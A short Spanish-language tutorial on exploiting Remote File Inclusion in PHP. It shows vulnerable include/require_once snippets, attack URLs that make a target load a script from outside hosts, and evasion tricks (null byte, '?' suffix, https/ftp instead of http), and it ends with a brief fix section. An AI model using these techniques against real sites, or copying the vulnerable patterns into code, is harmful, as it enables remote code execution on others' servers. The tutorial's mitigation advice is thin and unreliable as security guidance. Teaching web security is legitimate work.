Remote File Inclusion (RFI)
- Tips : Puedes usar HTTP Y FTP para evitar filtros (HTTP filtrado)
En PHP existen cuatro funciones las cuales le permitira subir archivos;
require – require() es idéntica a include() excepto en caso de errores lo que producira un “fatal error”.
require_once – es idéntica a require() con la diferencia que esta funcion checa si el archivo ya ha sido incluido, si no ha sido subido, realiza el include nuevamente.
include – incluye y evalua archivos específicos.
include_once - incluye y evalua archivos específicos mientras se mantiene en ejecucion el script.
- Ejemplo básico
- Tips : algunos scripts no aceptan “http” en las variables,”http” es “forbbiden” entonces
pueden usar “https” o “ftp”.
- Pedazo de código de test.php
———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
———————————————–
- Si entramos a la pagina encontraremos algunos warnnigns y otros errores:
Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
- Podemos ver aquí que la variable “pagina” no está declarada. Entonces le podemos asignar cualquier valor a la variable “pagina”.
Ejemplo :
http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt
- Pedazo de código de test.php
———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina.’.php’;
?>
———————————————–
- Entonces, si hacemos la petición:
http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt
No va funcionar debido a que el script intentará incluir http://hypernethost.org/script.txt.php
Entonces agregaremos un “NULLBYTE” ( %00 ) y todo lo que este posterior al “NULLBYTE” será ignorado.
Ejemplo:
http://127.0.0.1/test.php?pagina=http://ilegalintrusion.net/script.txt%00
El script será incluido con exito.
- Pedazo de codigo de test.php
———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina.’logged=1′;
?>
———————————————–
Y el logged=1 se volvera una variable. Es mejor usar NULLBYTE.
Ejemplo:
http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt?logged=1
El script será incluído con éxito.
- Ejemplo Práctico:
Ahora un ejemplo desde un script.
- Pedazo de codigo de index.php
—————————————————-
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
…………………..etc………………
ob_start();
require_once($main_content);
—————————————————-
Podemos ver que la variable “main_content” está siendo pedida por el metodo $_REQUEST. El atacante puede asignarle el valor que desee.
Debajo, la variable “main_content” es incluida, entonces si realizamos la siguiente
petición:
http://127.0.0.1/index.php?main_content=http://hypernethost.org/script.txt
Nuestro script será correctamente incluido.
3.2 – Solución
Forma Simple : No permitir caracteres especiales en las variables: filtrar el slash “/” .
Otra Forma : Filtrar “http” , “https” , “ftp” y”smb”.
Andrés Gómez